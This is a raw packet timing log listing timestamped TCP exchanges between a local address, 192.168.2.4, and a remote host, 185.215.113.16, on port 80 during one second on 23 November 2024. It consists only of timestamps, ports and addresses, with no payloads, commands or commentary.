Nov 23, 2024 17:44:47.592755079 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.592809916 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.592860937 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.595101118 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.595154047 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.595182896 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.595232010 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.597495079 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.597567081 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.597573042 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.597601891 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.599893093 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.599940062 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.600158930 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.600208998 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.602263927 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.602314949 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.602351904 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.602396011 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.604691029 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.604741096 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.604813099 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.604875088 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.607063055 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.607111931 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.607175112 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.607220888 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.608942032 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.608994007 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.609118938 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.609165907 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.610759974 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.610810995 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.610886097 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.610934019 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.612607956 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.612658024 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.612731934 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.612781048 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.614435911 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.614485025 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.614511013 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.614553928 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.616339922 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.616389990 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.616425991 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.616470098 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.618669033 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.618716955 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.618731022 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.618772030 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.619998932 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.620048046 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.620138884 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.620187044 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.621853113 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.621902943 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.621958017 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.622003078 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.623687029 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.623734951 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.623821020 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.623871088 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.625511885 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.625561953 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.689578056 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.689673901 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.689686060 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.689729929 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.690398932 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.690455914 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.690531969 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.690587997 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.692150116 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.692198992 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.692264080 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.692311049 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.693917990 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.693965912 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.714293957 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.714312077 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.714354992 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.714380980 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.714950085 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.714999914 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.715069056 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.715117931 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.716937065 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.716988087 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.717008114 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.717053890 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.718602896 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.718652010 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.718666077 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.718708038 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.720335007 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.720383883 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.720432997 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.720483065 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.722126961 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.722196102 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.722199917 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.722242117 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.723812103 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.723861933 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.723936081 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.723978996 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.725622892 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.725649118 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.725671053 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.725692034 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.727349043 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.727400064 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.727427959 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.727471113 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.729126930 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.729175091 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.729214907 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.729260921 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.730698109 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.730750084 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.730812073 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.730858088 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.732208967 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.732258081 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.732335091 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.732383966 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.733793974 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.733840942 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.733908892 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.733952999 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.735428095 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.735477924 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.735512018 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.735555887 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.736953020 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.737006903 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.737059116 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.737107038 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.738548994 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.738605976 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.738718987 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.738771915 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.740117073 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.740164042 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.740242004 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.740293026 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.741703033 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.741749048 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.741753101 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.741786957 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.743252039 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.743300915 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.743365049 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.743412018 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.744956017 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.745018959 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.745089054 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.745136976 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.746933937 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.746987104 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.747067928 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.747117043 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.747967958 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.748018980 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.748075008 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.748121023 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.749557018 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.749605894 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.749660969 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.749710083 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.751116991 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.751166105 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.751223087 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.751271009 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.752099991 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.752147913 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.752229929 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.752276897 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.753062010 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.753109932 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.753169060 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.753215075 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.754045963 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.754096031 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.754153013 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.754196882 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.755036116 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.755081892 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.755189896 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.755243063 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.756037951 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.756088018 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.756134033 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.756181002 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.757086039 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.757137060 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.757193089 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.757240057 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.758045912 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.758094072 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.758152008 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.758198977 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.759177923 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.759226084 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.759299040 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.759346008 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.760128975 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.760179996 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.760215044 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.760257006 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.760970116 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.761017084 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.761059046 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.761109114 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.761970997 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.762020111 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.762068987 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.762115002 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.762983084 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.763029099 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.763056040 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.763101101 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.763952971 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.764000893 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.764019966 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.764039040 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.765007973 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.765053034 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.765127897 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.765175104 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.765978098 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.766022921 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.766026974 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.766060114 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.766891003 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.766942024 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.766993046 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.767035961 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.767894030 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.767945051 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.767986059 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.768028975 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.768872023 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.768920898 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.768956900 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.769001007 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.769875050 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.769910097 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.769933939 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.769948006 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.770859957 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.770911932 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.770972967 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.771018982 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.771858931 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.771908045 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.771950960 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.771996021 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.772819042 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.772866964 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.772914886 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.772959948 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.773838997 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.773890972 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.773931026 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.773973942 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.774840117 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.774907112 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.774908066 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.774951935 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.775790930 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.775844097 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.775875092 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.775924921 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.776766062 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.776814938 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.776823997 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.776860952 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.881480932 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.881500959 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.881609917 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.881899118 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.881946087 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.882031918 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.882071972 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.882880926 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.882927895 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.882993937 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.883034945 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.883825064 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.883872986 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.915503025 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.915576935 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.915747881 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.915801048 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.915807009 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.915824890 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.915848970 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.915863991 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.916785955 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.916836023 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.916903019 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.916953087 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.917758942 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.917807102 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.917854071 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.917901993 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.918848038 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.918916941 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.919037104 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.919037104 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.919728041 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.919775009 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.919840097 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.919884920 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.920805931 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.920847893 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.920922041 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.920965910 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.922257900 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.922323942 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.922352076 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.922369003 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.923105001 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.923157930 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.923269987 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.923330069 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.923914909 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.924026012 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.924055099 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.924071074 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.924699068 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.924740076 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.924951077 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.925002098 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.925692081 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.925743103 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.925892115 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.925930023 CET	49756	80	192.168.2.4	185.215.113.16
